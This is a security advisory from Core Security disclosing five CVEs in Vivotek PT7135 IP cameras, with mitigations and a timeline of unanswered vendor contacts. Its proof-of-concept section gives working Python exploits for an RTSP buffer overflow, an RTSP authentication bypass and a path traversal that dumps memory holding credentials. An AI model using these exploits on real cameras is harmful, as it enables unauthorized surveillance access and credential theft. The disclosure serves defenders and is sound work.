Vivotek IP Cameras - Multiple Vulnerabilities

Core Security - Corelabs Advisory

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Vivotek IP Cameras Multiple Vulnerabilities





1. *Advisory Information*



Title: Vivotek IP Cameras Multiple Vulnerabilities

Advisory ID: CORE-2013-0301

Advisory URL:

http://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities

Date published: 2013-04-29

Date of last update: 2013-04-29

Vendors contacted: Vivotek

Release mode: User release



2. *Vulnerability Information*



Class: Information leak through GET request [CWE-598], Buffer overflow

[CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS

command injection [CWE-78]

Impact: Code execution, Security bypass

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597,

CVE-2013-1598



3. *Vulnerability Description*



Multiple vulnerabilities have been found in Vivotek IP cameras [1] (and

potentially cameras from other vendors sharing the affected firmware)

that could allow an unauthenticated remote attacker:



   1. [CVE-2013-1594] to process GET requests that contain sensitive

information,

   2. [CVE-2013-1595] to execute arbitrary code,

   3. [CVE-2013-1596] to access the video stream via RTSP,

   4. [CVE-2013-1597] to dump the camera's memory and retrieve user

credentials,

   5. [CVE-2013-1598] to execute arbitrary commands from the

administration web interface (pre-authentication with firmware 0300a and

post-authentication with firmware 0400a).



4. *Vulnerable Packages*



   . Vivotek PT7135 IP camera with firmware 0300a.

   . Vivotek PT7135 IP camera with firmware 0400a.

   . Other Vivotek cameras/firmware are probably affected too, but they

were not checked.



5. *Non-Vulnerable Packages*



Vendor did not provide details. Contact Vivotek for further information.



6. *Vendor Information, Solutions and Workarounds*



There was no official answer from Vivotek after several attempts to

report these vulnerabilities (see [Sec. 9]). Contact vendor for further

information.



Some mitigation actions may be:



   . Do not expose the camera to internet unless absolutely necessary.

   . Filter RTSP traffic (default port 554) if possible.

   . Have at least one proxy filtering '/../../' and 'getparam.cgi' in

HTTP requests.

   . Filter strings in the parameter 'system.ntp' on every request made

to the binary 'farseer.out'.



7. *Credits*



[CVE-2013-1594] was originally discovered and reported [2] by Alejandro

Leon Morales [3] and re-discovered on new firmware versions by Flavio De

Cristofaro from Core Security.



[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by

Martin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was

made by Martin Rocha with help of Juan Cotta from Core QA Team.



[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by

Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.



The publication of this advisory was coordinated by Fernando Miranda

from Core Advisories Team.



8. *Technical Description / Proof of Concept Code*



8.1. *Information leak through GET request*



[CVE-2013-1594] Several Vivotek cameras store Wireless keys and 3rd

party credentials in clear text allowing a remote attacker to obtain

sensitive information which might be valuable to perform further

attacks. Sensitive information stored in plain text includes:



   . FTP credentials

   . Share folder credentials

   . SMTP credentials

   . WEP / WPA Keys

   . DynDNS credentials

   . Safe100.net credentials

   . TZO credentials, among others.

The following GET requests can exploit the vulnerability (requests may

change according to firmware versions and vendors devices):



/-----

http://192.168.1.100/cgi-bin/admin/getparam.cgi



http://192.168.1.100/setup/parafile.html

-----/





8.2. *Remote Buffer Overflow*



[CVE-2013-1595] The following Python script can be used to trigger the

vulnerability. This script will send to the RTSP service a specially

crafted packet with the header field 'Authorization' fully completed

with the character 'a' (0x61). As a result, the Instruction Pointer

register (IP) will be overwritten with 0x61616161, which is a typical

buffer overrun condition.



/-----

import socket, base64



cam_ip = '192.168.1.100'

session_descriptor = 'live.sdp'



request = 'DESCRIBE rtsp://%s/%s RTSP/1.0\r\n' % (cam_ip,

session_descriptor)

request+= 'CSeq: 1\r\n'

request+= 'Authorization: Basic %s\r\n'

request+= '\r\n'



auth_little = 'a' * 1000

auth_big = 'a' * 10000



msgs = [request % auth_little, request % auth_big]



for msg in msgs:

    s = socket.socket()

    s.connect((cam_ip, 554))

    print s.send(msg)

    print s.recv(0x10000)

    s.close()



-----/





8.3. *RTSP Authentication Bypass*



[CVE-2013-1596] This vulnerability is triggered by sending specially

crafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera.

As a result, the video stream can be accessed by an unauthenticated

remote attacker.



/-----

import sys

from socket import *

from threading import Thread

import time, re



LOGGING = 1



def log(s):

    if LOGGING:

        print '(%s) %s' % (time.ctime(), s)



class UDPRequestHandler(Thread):

    def __init__(self, data_to_send, recv_addr, dst_addr):

        Thread.__init__(self)

        self.data_to_send = data_to_send

        self.recv_addr = recv_addr

        self.dst_addr = dst_addr

    

    def run(self):

        sender = socket(AF_INET, SOCK_DGRAM)

        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

        sender.sendto(self.data_to_send, self.dst_addr)

        response = sender.recv(1024)

        sender.sendto(response, self.recv_addr)

        sender.close()





class UDPDispatcher(Thread):

    dispatchers = []

    

    def __has_dispatcher_for(self, port):

        return any([d.src_port == port for d in UDPDispatcher.dispatchers])

    

    def __init__(self, src_port, dst_addr):

        Thread.__init__(self)

        if self.__has_dispatcher_for(src_port):

            raise Exception('There is already a dispatcher for port %d'

% src_port)

        self.src_port = src_port

        self.dst_addr = dst_addr

        UDPDispatcher.dispatchers.append(self)

    

    def run(self):

        listener = socket(AF_INET, SOCK_DGRAM)

        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

        listener.bind(('', self.src_port))

        while 1:

            try:

                data, recv_addr = listener.recvfrom(1024)

                if not data: break

                UDPRequestHandler(data, recv_addr, self.dst_addr).start()

            except Exception as e:

                print e

                break        

        listener.close()

        UDPDispatcher.dispatchers.remove( self )





class PipeThread(Thread):

    pipes = []

    def __init__(self, source, sink, process_data_callback=lambda x: x):

        Thread.__init__(self)

        self.source = source

        self.sink = sink

        self.process_data_callback = process_data_callback

        PipeThread.pipes.append(self)



    def run(self):

        while 1:

            try:

                data = self.source.recv(1024)

                data = self.process_data_callback(data)

                if not data: break

                self.sink.send( data )

            except Exception as e:

                log(e)

                break

        PipeThread.pipes.remove(self)





class TCPTunnel(Thread):

    def __init__(self, src_port, dst_addr, process_data_callback=lambda

x: x):

        Thread.__init__(self)

        log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,

dst_addr[0], dst_addr[1]))

        self.dst_addr = dst_addr

        self.process_data_callback = process_data_callback

        # Create TCP listener socket

        self.sock = socket(AF_INET, SOCK_STREAM)

        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

        self.sock.bind(('', src_port))

        self.sock.listen(5)

    

    def run(self):

        while 1:

            # Wait until a new connection arises

            newsock, address = self.sock.accept()

            # Create forwarder socket

            fwd = socket(AF_INET, SOCK_STREAM)

            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

            fwd.connect(self.dst_addr)

            # Pipe them!

            PipeThread(newsock, fwd, self.process_data_callback).start()

            PipeThread(fwd, newsock, self.process_data_callback).start()





class Camera():

    def __init__(self, address):

        self.address = address

    def get_describe_data(self):

        return ''





class Vivotek(Camera):

    # Vivotek PT7135/0400a

    def __init__(self, address):

        Camera.__init__(self, address)

    def get_describe_data(self):

        return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP

server\r\nc=IN IP4 0.0.0.0\r\nt=0

0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video

0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96

MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96

profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio

0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97

mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15;

mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3;

IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'





class RTSPAuthByPasser():

    DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'

    UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'

    SERVER_PORT_ARGUMENTS = 'server_port='

    DEFAULT_CSEQ = 1

    DEFAULT_SERVER_PORT_RANGE = '5556-5559'



    def __init__(self, local_port, camera):

        self.last_describe_req = ''

        self.camera = camera

        self.local_port = local_port

        

    def start(self):

        log('[!] Starting bypasser')

        TCPTunnel(self.local_port, self.camera.address,

self.spoof_rtsp_conn).start()

        

    def spoof_rtsp_conn(self, data):

        if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:

            self.last_describe_req = data

        elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and

self.last_describe_req:

            log('[!] Unauthorized response received. Spoofing...')

            spoofed_describe = self.camera.get_describe_data()

            # Look for the request CSeq

            m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*',

self.last_describe_req)

            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ

            # Create the response

            data = 'RTSP/1.0 200 OK\r\n'

            data+= 'CSeq: %s\r\n' % cseq

            data+= 'Content-Type: application/sdp\r\n'

            data+= 'Content-Length: %d\r\n' % len(spoofed_describe)

            data+= '\r\n'

            # Attach the spoofed describe

            data+= spoofed_describe       

        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:

            # Look for the server RTP ports

            m = re.search('.*%s\\s*(.+?)[;|\r].*' %

RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)

            ports = m.group(1) if m else

RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE

            # For each port in the range create a UDP dispatcher

            begin_port, end_port = map(int, ports.split('-'))

            for udp_port in xrange(begin_port, end_port + 1):

                try:

                    UDPDispatcher(udp_port, (self.camera.address[0],

udp_port)).start()

                except:

                    pass        

        return data



if __name__ == '__main__':

    if len( sys.argv ) > 1:

        listener_port = camera_port = int(sys.argv[1])

        camera_ip = sys.argv[2]

        if len(sys.argv) == 4:

            camera_port = int(sys.argv[3])

        RTSPAuthByPasser(listener_port, Vivotek((camera_ip,

camera_port))).start()

    else:

        print 'usage: python %s [local_port] [camera_ip]

[camera_rtsp_port]'   



-----/





8.4. *User Credentials Leaked via Path Traversal*



[CVE-2013-1597] The following Python code exploits a path traversal and

dumps the camera's memory. Valid user credentials can be extracted from

this memory dump by an unauthenticated remote attacker (firmware 0300a).

The same attack is still valid with firmware 0400a but the user has to

be authenticated in order to exploit this flaw.



/-----

import httplib



conn = httplib.HTTPConnection("192.168.1.100")

conn.request("GET", "/../../../../../../../../../proc/kcore")

resp = conn.getresponse()

data = resp.read()

-----/







8.5. *OS Command Injection*



[CVE-2013-1598] The command injection is located in the binary file

'farseer.out' in the parameter 'system.ntp':



/-----

.text:0000CB34                 MOV     R1, R4

.text:0000CB38                 LDR     R0, =aCmdporcessStar ;

"[CmdPorcess] Start sync with NTP server %s"...

.text:0000CB3C                 ADD     R10, SP, #0x144+var_120

.text:0000CB40                 BNE     loc_CB68

[...]

.text:0000CB68                 BL      .printf

.text:0000CB6C                 LDR     R2, =aSS_0      ; "%s%s"

.text:0000CB70                 LDR     R3, =aUsrSbinPsntpda ;

"/usr/sbin/psntpdate -4fr "

.text:0000CB74                 MOV     R1, #0xFF       ; maxlen

.text:0000CB78                 MOV     R0, R10         ; s

.text:0000CB7C                 STR     R4, [SP,#0x144+var_144]

.text:0000CB80                 BL      .snprintf

.text:0000CB84                 MOV     R0, R10         ; command

.text:0000CB88                 BL      .system        

-----/



9. *Report Timeline*



. 2013-03-06:

Core Security Technologies notifies the Vivotek Customer Support of the

vulnerability (tracking ID CRM:00930113) and requests a security manager

to send a draft report regarding these vulnerabilities. No reply received.



. 2013-03-11:

Core asks for a security manager to send a confidential report.



. 2013-03-14:

Core notifies the Vivotek Technical Support of the vulnerability

(tracking ID CRM:00930485).



. 2013-03-18:

Core opens a new ticket in the Vivotek Technical Support (tracking ID

CRM:00930670).



. 2013-03-21:

Core asks for a reply regarding the tracking ID CRM:00930485.



. 2013-04-24:

Core tries to contact vendor for last time without any reply.



. 2013-04-29:

After 6 failed attempts to report the issues, the advisory

CORE-2013-0301 is published as 'user-release'.



10. *References*



[1] http://www.vivotek.com/web/product/NetworkCameras.aspx

[2] http://www.securityfocus.com/bid/54476.

[3] Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx.



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13. *Disclaimer*



The contents of this advisory are copyright (c) 2012 Core Security

Technologies and (c) 2012 CoreLabs, and are licensed under a Creative

Commons Attribution Non-Commercial Share-Alike 3.0 (United States)

License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/



14. *PGP/GPG Keys*



This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.